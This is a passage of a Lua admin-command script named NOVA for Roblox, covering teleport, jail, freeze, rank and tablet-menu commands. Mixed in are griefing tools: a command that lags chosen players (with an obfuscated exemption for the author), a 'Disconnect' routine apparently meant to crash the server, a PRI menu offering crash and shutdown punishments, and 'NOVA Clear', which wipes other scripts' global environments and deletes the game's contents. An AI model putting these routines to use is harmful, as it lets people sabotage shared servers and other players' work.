  2280.         Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2281.         Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2282.         Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2283.         Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2284.         Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2285.         Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2286.         Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2287.         Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2288.         Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2289.         Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2290.         OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2291.    
  2292.        
  2293.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2294.     end
  2295. )
  2296.  
  2297. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2298.     function(Msg,Speaker)
  2299.         pcall(function()
  2300.             NOVA.Services.Sounds.Sound:Destroy()
  2301.         end)
  2302.        
  2303.         NOVA.Sounds.Sound = Instance.new("Sound")
  2304.         NOVA.Sounds.Sound.Name = "NOVA Sound"
  2305.        
  2306.         NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2307.         NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2308.         NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2309.         NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2310.         NOVA.Services.Lighting.Brightness = 0.5
  2311.         NOVA.Services.Lighting.FogStart = 0
  2312.         NOVA.Services.Lighting.FogEnd = 100000
  2313.         NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2314.         NOVA.Services.Lighting.TimeOfDay = 12
  2315.         pcall(function() game.Lighting.Sky:Remove() end)
  2316.         pcall(function()
  2317.             CreateLocalScript([[
  2318.                 LocalPlayer = game:GetService("Players").LocalPlayer
  2319.                 LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2320.                 Camera = workspace.CurrentCamera
  2321.                 Camera:SetRoll(0)
  2322.                 Camera.CameraType = "Custom"
  2323.                 Camera.FieldOfView = 70
  2324.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2325.             ]],Speaker.Backpack)
  2326.         end)
  2327.         for Num,v in pairs(NOVA.Jails) do
  2328.             pcall(function() v.Jail:Destroy() end)
  2329.             table.remove(NOVA.Jails,Num)
  2330.         end
  2331.         for Num,v in pairs(NOVA.Fences) do
  2332.             pcall(function() v.Fence:Destroy() end)
  2333.             table.remove(NOVA.Fences,Num)
  2334.         end
  2335.         for _,v in pairs(NOVA.Services) do    
  2336.             v.Name = v.className
  2337.         end
  2338.        
  2339.         for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2340.             local ShouldRemove = true
  2341.             for _,Tablet in pairs(NOVA.Tablets) do
  2342.                 if v:IsDescendantOf(Tablet) then
  2343.                     ShouldRemove = false
  2344.                 end
  2345.             end
  2346.             if ShouldRemove == true then
  2347.                 v:remove()
  2348.             end
  2349.         end
  2350.         for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2351.  
  2352.         for _,v in pairs(GetPlayersRaw()) do
  2353.             pcall(function()
  2354.                 if v.StarterGear == nil then
  2355.                     Instance.new("StarterGear",v)
  2356.                 end
  2357.             end)
  2358.             pcall(function()
  2359.                 v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2360.             end)
  2361.         end
  2362.         pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2363.         if #NOVA.Services.Teams:GetChildren() == 0 then
  2364.             for _,v in pairs(GetPlayersRaw()) do
  2365.                 v.Neutral = true
  2366.             end
  2367.         end
  2368.  
  2369.     end
  2370. )
  2371.  
  2372. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2373.     function(Msg,Speaker)
  2374.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2375.             pcall(function()
  2376.                 v:LoadCharacter()
  2377.             end)
  2378.         end
  2379.     end
  2380. )
  2381.  
  2382. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2383.     function(Msg,Speaker)    
  2384.         RemoveTablets(Speaker)
  2385.         local Data = GetRankedTable(Speaker)
  2386.         Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2387.         Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2388.         Output("Get/ Commands",Data.Color,Speaker,nil,
  2389.             function()
  2390.                 RemoveTablets(Speaker)
  2391.                 for _,v in pairs(NOVA.Commands) do
  2392.                     if v.Command:sub(1,3) == "get" then
  2393.                         Output(v.Name,Data.Color,Speaker,nil,
  2394.                             function()
  2395.                                 RemoveTablets(Speaker)
  2396.                                 Output("Name : "..v.Name,Data.Color,Speaker)
  2397.                                 Output("Rank : "..v.Rank,Data.Color,Speaker)
  2398.                                 Output("Command : "..v.Command,Data.Color,Speaker)
  2399.                                 Output("Arguments : "..v.Args,Data.Color,Speaker)
  2400.                                 Output("Description : "..v.Description,Data.Color,Speaker)
  2401.                                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2402.                             end
  2403.                         )    
  2404.                     end
  2405.                 end
  2406.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2407.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2408.             end
  2409.         )
  2410.         for i=0,7 do
  2411.  
  2412.             Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2413.                 RemoveTablets(Speaker)
  2414.                 for _,v in pairs(NOVA.Commands) do
  2415.                     if v.Rank == i then
  2416.                         Output(v.Name,Data.Color,Speaker,nil,function()
  2417.                             RemoveTablets(Speaker)
  2418.                             Output("Name : "..v.Name,Data.Color,Speaker)
  2419.                             Output("Rank : "..v.Rank,Data.Color,Speaker)
  2420.                             Output("Command : "..v.Command,Data.Color,Speaker)
  2421.                             Output("Arguments : "..v.Args,Data.Color,Speaker)
  2422.                             Output("Description : "..v.Description,Data.Color,Speaker)
  2423.                             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2424.                         end)
  2425.                     end
  2426.                 end    
  2427.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2428.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2429.             end)
  2430.         end
  2431.         Output("ALL",Data.Color,Speaker,nil,function()
  2432.             RemoveTablets(Speaker)
  2433.             for _,v in pairs(NOVA.Commands) do
  2434.                 if GetRank(Speaker) >= v.Rank then
  2435.                     Output(v.Name,Data.Color,Speaker,nil,function()
  2436.                         RemoveTablets(Speaker)
  2437.                         Output("Name : "..v.Name,Data.Color,Speaker)
  2438.                         Output("Rank : "..v.Rank,Data.Color,Speaker)
  2439.                         Output("Command : "..v.Command,Data.Color,Speaker)
  2440.                         Output("Arguments : "..v.Args,Data.Color,Speaker)
  2441.                         Output("Description : "..v.Description,Data.Color,Speaker)
  2442.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2443.                     end)
  2444.                 end
  2445.             end
  2446.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2447.             Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2448.         end)    
  2449.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2450.     end
  2451. )
  2452.  
  2453. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2454.     function(Msg,Speaker)
  2455.         Instance.new("ManualSurfaceJointInstance",workspace)
  2456.     end
  2457. )
  2458.  
  2459. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2460.     function(Msg,Speaker)
  2461.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2462.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2463.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2464.             else
  2465.                 pcall(function()
  2466.                     Lag(v)
  2467.                 end)
  2468.             end
  2469.         end
  2470.     end
  2471. )
  2472.  
  2473.  
  2474. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2475.     function(Msg,Speaker)
  2476.         RemoveTablets(Speaker)
  2477.         Output("List","Random",Speaker,nil,
  2478.             function()
  2479.                 RemoveTablets(Speaker)
  2480.                 for _,v in pairs(NOVA.Ranked) do
  2481.                     if v.InPRI == true then
  2482.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2483.                             RemoveTablets(Speaker)
  2484.                             OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2485.                         end)
  2486.                     end
  2487.                 end
  2488.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2489.             end
  2490.         )
  2491.        
  2492.         Output("Type","Random",Speaker,nil,
  2493.             function()
  2494.                 RemoveTablets(Speaker)
  2495.                 Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2496.                     function()
  2497.                         NOVA.PRIType = "Kick"
  2498.                         RemoveTablets(Speaker)
  2499.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2500.                     end
  2501.                 )
  2502.                 Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2503.                     function()
  2504.                         NOVA.PRIType = "Lag"
  2505.                         RemoveTablets(Speaker)
  2506.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2507.                     end
  2508.                 )
  2509.                 Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2510.                     function()
  2511.                         NOVA.PRIType = "Shutdown"
  2512.                         RemoveTablets(Speaker)
  2513.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2514.                     end
  2515.                 )
  2516.                 Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2517.                     function()
  2518.                         NOVA.PRIType = "Crash"
  2519.                         RemoveTablets(Speaker)
  2520.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2521.                     end
  2522.                 )
  2523.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2524.             end
  2525.         )
  2526.         Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2527.             function()
  2528.                 NOVA.PRI = true
  2529.                 RemoveTablets(Speaker)
  2530.                 OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2531.             end
  2532.         )
  2533.        
  2534.         Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2535.             function()
  2536.                 NOVA.PRI = false
  2537.                 RemoveTablets(Speaker)
  2538.                 OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2539.             end
  2540.         )
  2541.        
  2542.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2543.     end
  2544. )
  2545.  
  2546. --[[ GET COMMANDS ]]--
  2547.  
  2548. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2549.     function(Msg,Speaker)
  2550.         if #Msg == 0 or Msg == nil then
  2551.             RemoveTablets(Speaker)
  2552.             for _,v in pairs(NOVA.Ranks) do
  2553.                 local RankNumber = v[1]
  2554.                 local RankName = v[2]
  2555.                 Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2556.                     function()
  2557.                         RemoveTablets(Speaker)
  2558.                         for _,v in pairs(GetPlayersRaw()) do
  2559.                             if GetRank(v) == RankNumber then
  2560.                                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2561.                                     function()
  2562.                                         PlayerInterface(v,Speaker)
  2563.                                     end
  2564.                                 )
  2565.                             end
  2566.                         end
  2567.                         Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2568.                             function()
  2569.                                 OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2570.                             end
  2571.                         )
  2572.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2573.                     end
  2574.                 )
  2575.             end
  2576.             Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2577.                 function()
  2578.                     RemoveTablets(Speaker)
  2579.                    
  2580.                     for _,v in pairs(GetPlayersRaw()) do
  2581.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2582.                             function()
  2583.                                 PlayerInterface(v,Speaker)
  2584.                             end
  2585.                         )
  2586.                     end
  2587.  
  2588.                     Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2589.                         function()
  2590.                             OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2591.                         end
  2592.                     )
  2593.                     Output("Dismiss",NOVA.Colors.Red,Speaker)
  2594.                 end
  2595.             )    
  2596.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2597.         else
  2598.             PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2599.         end
  2600.     end
  2601. )
  2602.  
  2603. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2604.     function(Msg,Speaker)
  2605.         Split = GetSplit(Msg)
  2606.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2607.             GetRankedTable(v).Desc = Msg:sub(Split+1)
  2608.             SyncRankOutSingular(v)
  2609.         end
  2610.     end
  2611. )
  2612.  
  2613. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2614.     function(Msg,Speaker)
  2615.         if Msg == "true" then
  2616.             GetRankedTable(Speaker).CMD = true
  2617.         elseif Msg == "false" then
  2618.             GetRankedTable(Speaker).CMD = false
  2619.             pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2620.         else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2621.         end
  2622.         SyncRankOutSingular(Speaker)
  2623.     end
  2624. )
  2625.  
  2626. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2627.     function(Msg,Speaker)
  2628.         pcall(function()
  2629.             for i=1,4 do
  2630.                 Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2631.             end
  2632.         end)
  2633.     end
  2634. )
  2635.  
  2636. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2637.     function(Msg,Speaker)
  2638.         pcall(function()
  2639.             Speaker:LoadCharacter()
  2640.         end)
  2641.     end
  2642. )
  2643.  
  2644. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2645.     function(Msg,Speaker)
  2646.         Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2647.     end
  2648. )
  2649.  
  2650. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2651.     function(Msg,Speaker)
  2652.         pcall(function()
  2653.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2654.                 for i=1,4 do
  2655.                     Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2656.                 end
  2657.             end
  2658.         end)
  2659.     end
  2660. )
  2661.  
  2662. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2663.     function(Msg,Speaker)
  2664.         local Split = GetSplit(Msg)
  2665.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2666.             if GetRank(Speaker) > GetRank(v) then
  2667.                 if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2668.                     Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2669.                 else
  2670.                     GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2671.                     SyncRankOutSingular(v)
  2672.                 end
  2673.             end
  2674.         end
  2675.     end
  2676. )
  2677.  
  2678. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2679.     function(Msg,Speaker)
  2680.  
  2681.         Split = GetSplit(Msg)              
  2682.         send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2683.         to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2684.         for _,a in pairs(send) do
  2685.             for _,b in pairs(to) do
  2686.                 pcall(function()
  2687.                     a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2688.                 end)
  2689.             end
  2690.         end
  2691.        
  2692.     end
  2693. )
  2694.  
  2695. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2696.     function(Msg,Speaker)
  2697.  
  2698.         Split = GetSplit(Msg)          
  2699.         send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2700.         to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2701.         for i, player in pairs(send) do
  2702.             pcall(function()
  2703.                 player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2704.                 * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2705.                 * CFrame.new(0, 0, 3 + (#send*2) )
  2706.             end)
  2707.         end
  2708.     end
  2709. )
  2710.  
  2711. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2712.     function(Msg,Speaker)
  2713.         Split = GetSplit(Msg)                
  2714.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2715.             pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2716.         end
  2717.     end
  2718. )
  2719.  
  2720. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2721.     function(Msg,Speaker)
  2722.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2723.             pcall(function()
  2724.                 v.Character:BreakJoints()
  2725.                 E = Instance.new("Explosion",NOVA.Services.Workspace)
  2726.                 E.Position = v.Character.Torso.Position
  2727.                 E.BlastPressure = 124000
  2728.             end)
  2729.         end
  2730.     end
  2731. )
  2732.  
  2733. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2734.     function(Msg,Speaker)
  2735.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2736.             pcall(function()
  2737.                 v.Character.Humanoid.MaxHealth = math.huge
  2738.             end)
  2739.         end
  2740.     end
  2741. )
  2742.  
  2743. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2744.     function(Msg,Speaker)
  2745.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2746.             pcall(function()
  2747.                 v.Character.Torso.Touched:connect(function(part)
  2748.                     if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2749.                         part.CanCollide = true
  2750.                         part:BreakJoints()
  2751.                         for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2752.                     end
  2753.                 end)
  2754.             end)
  2755.         end
  2756.     end
  2757. )
  2758.  
  2759. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2760.     function(Msg,Speaker)
  2761.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2762.             pcall(function()
  2763.                 v.Character.Parent = NOVA.Services.Lighting
  2764.             end)
  2765.         end
  2766.     end
  2767. )
  2768.  
  2769. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2770.     function(Msg,Speaker)
  2771.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2772.             pcall(function()
  2773.                 v.Character.Parent = NOVA.Services.Workspace
  2774.                 v.Character:MakeJoints()
  2775.                 pcall(function() v.Character.Animate.Disabled = false end)
  2776.             end)
  2777.         end
  2778.     end
  2779. )
  2780.  
  2781. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2782.     function(Msg,Speaker)
  2783.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2784.             pcall(function()
  2785.                 for _,part in pairs(v.Character:GetChildren()) do
  2786.                     pcall(function()
  2787.                         part.Anchored = true
  2788.                     end)
  2789.                 end
  2790.             end)
  2791.         end
  2792.     end
  2793. )
  2794.  
  2795. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2796.     function(Msg,Speaker)
  2797.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2798.             pcall(function()
  2799.                 for _,part in pairs(v.Character:GetChildren()) do
  2800.                     pcall(function()
  2801.                         part.Anchored = false
  2802.                     end)
  2803.                 end
  2804.             end)
  2805.         end
  2806.     end
  2807. )
  2808.  
  2809. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2810.     function(Msg,Speaker)
  2811.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2812.             pcall(function()
  2813.                 for _,part in pairs(v.Backpack:GetChildren()) do
  2814.                     part:Destroy()
  2815.                 end
  2816.             end)
  2817.         end
  2818.     end
  2819. )
  2820.  
  2821. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2822.     function(Msg,Speaker)
  2823.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2824.             pcall(function()
  2825.                 v.Backpack:Destroy()
  2826.             end)
  2827.         end
  2828.     end
  2829. )
  2830.  
  2831. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2832.     function(Msg,Speaker)
  2833.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2834.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2835.             pcall(function() v.Character.Humanoid.Sit = true end)
  2836.         end
  2837.     end
  2838. )
  2839.  
  2840. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2841.     function(Msg,Speaker)
  2842.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2843.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2844.             pcall(function() v.Character.Humanoid.Sit = false end)
  2845.         end
  2846.     end
  2847. )
  2848.  
  2849. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2850.     function(Msg,Speaker)
  2851.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2852.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2853.             pcall(function() v.Character.Humanoid.Jump = true end)
  2854.         end
  2855.     end
  2856. )
  2857.  
  2858. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2859.     function(Msg,Speaker)
  2860.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2861.             pcall(function()
  2862.                 Speaker.Character = v.Character
  2863.             end)
  2864.         end
  2865.     end
  2866. )
  2867.  
  2868. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2869.     function(Msg,Speaker)
  2870.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2871.             pcall(function()
  2872.                 for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2873.                     coroutine.resume(coroutine.create(function()
  2874.                         for i=1,10  do
  2875.                             wait()
  2876.                             v.Transparency = v.Transparency + 0.1
  2877.                         end
  2878.                     end))
  2879.                 end
  2880.             end)
  2881.         end
  2882.     end
  2883. )
  2884.  
  2885. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2886.     function(Msg,Speaker)
  2887.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2888.             pcall(function()
  2889.                 for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2890.                     coroutine.resume(coroutine.create(function()
  2891.                         for i=1,10  do
  2892.                             wait()
  2893.                             v.Transparency = v.Transparency - 0.1
  2894.                         end
  2895.                     end))
  2896.                 end
  2897.             end)
  2898.         end
  2899.     end    
  2900. )
  2901.  
  2902. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2903.     function(Msg,Speaker)
  2904.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2905.             pcall(function()
  2906.                 for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2907.             end)
  2908.         end
  2909.     end
  2910. )
  2911.  
  2912. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2913.     function(Msg,Speaker)
  2914.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2915.             pcall(function()
  2916.                 for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2917.             end)
  2918.         end
  2919.     end
  2920. )
  2921.  
  2922. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2923.     function(Msg,Speaker)
  2924.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2925.             pcall(function()
  2926.                 coroutine.resume(coroutine.create(function()
  2927.                     local MainCF = v.Character.Torso.CFrame
  2928.                     local Main = Instance.new("Model",workspace)
  2929.                     Main.Name = "Main"
  2930.                     table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2931.                     for Pitch = 1, 360, 360 do
  2932.                         for Yaw = 1, 360, 360/13 do
  2933.                             for Angle = 1,180, 8 do
  2934.                                 local Part = Instance.new("Part",Main)
  2935.                                 Part.Name = "Part"
  2936.                                 Part.FormFactor = "Custom"
  2937.                                 Part.TopSurface = "Smooth"
  2938.                                 Part.BottomSurface = "Smooth"
  2939.                                 Part.Reflectance = 0
  2940.                                 Part.Transparency = 0
  2941.                                 Part.Anchored = true
  2942.                                 Part.Locked = true
  2943.                                 Part.CanCollide = true
  2944.                                 Part.BrickColor = BrickColor.new("Navy blue")
  2945.                                 Part.Size = Vector3.new(2,1,4)
  2946.                                 Part.CFrame = MainCF
  2947.                                     * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2948.                                     * CFrame.new(0,5,0)
  2949.                                 local Mesh = Instance.new("BlockMesh",Part)
  2950.                                 Mesh.Scale = Vector3.new(1,1,0.1)
  2951.                                 if math.floor(Angle/5) == Angle/5 then
  2952.                                     wait()
  2953.                                 end
  2954.                             end
  2955.                         end
  2956.                     end
  2957.                    
  2958.                     v.Character.Torso.CFrame = MainCF
  2959.                    
  2960.                     while Main.Parent ~= nil do
  2961.                         wait()
  2962.                         pcall(function()
  2963.                             if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2964.                                 v.Character.Torso.CFrame = MainCF
  2965.                             end
  2966.                         end)
  2967.                     end
  2968.                 end))
  2969.             end)
  2970.         end
  2971.     end
  2972. )
  2973.  
  2974. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2975.     function(Msg,Speaker)
  2976.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2977.             for Num,Jail in pairs(NOVA.Jails) do
  2978.                 if Jail.Player ~= nil and Jail.Player == v then
  2979.                     pcall(function() Jail.Jail:Destroy() end)
  2980.                     table.remove(NOVA.Jails,Num)
  2981.                 end
  2982.             end
  2983.         end
  2984.     end
  2985. )
  2986.  
  2987. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2988.     function(Msg,Speaker)
  2989.         for i,v in pairs(_G) do
  2990.             if type(v) == "function" and getfenv(v).NOVA == nil then
  2991.                 for var,val in pairs(getfenv(v)) do
  2992.                     pcall(function() getfenv(v)[var] = nil end)
  2993.                 end
  2994.             end
  2995.         end
  2996.         for i,v in pairs(_G) do
  2997.             _G[i] = nil
  2998.         end
  2999.         SetGlobals()
  3000.         for _,v in pairs(NOVA.Services) do
  3001.             v.Name = "Unknown Exception"
  3002.         end    
  3003.         for i,v in pairs(GetRecursiveChildren()) do
  3004.             pcall(function()
  3005.                 if not v:IsA("Player") then
  3006.                     pcall(function()
  3007.                         if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  3008.                         else
  3009.                             pcall(function()
  3010.                                 v.Disabled = true
  3011.                             end)
  3012.                             pcall(function()
  3013.                                 NOVA.Services.Debris:AddItem(v,0)
  3014.                             end)
  3015.                         end
  3016.                     end)
  3017.                 end
  3018.             end)
  3019.         end
  3020.         for _,v in pairs(NOVA.Services) do    
  3021.             v.Name = v.className
  3022.         end
  3023.         local Base=Instance.new("Part",NOVA.Services.Workspace)
  3024.         Base.Name="Base"
  3025.         Base.Size=Vector3.new(2048,1,2048)
  3026.         Base.BrickColor=BrickColor.new("Bright green")
  3027.         Base.Anchored=true
  3028.         Base.Locked=true
  3029.         Base.TopSurface="Smooth"
  3030.         Base.Transparency = 1
  3031.         Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3032.         local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3033.         Spawn.Size=Vector3.new(6,1,6)
  3034.         Spawn.Transparency=1
  3035.         Spawn.CanCollide=false
  3036.         Spawn.Anchored=true
  3037.         Spawn.Locked=true
  3038.         Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
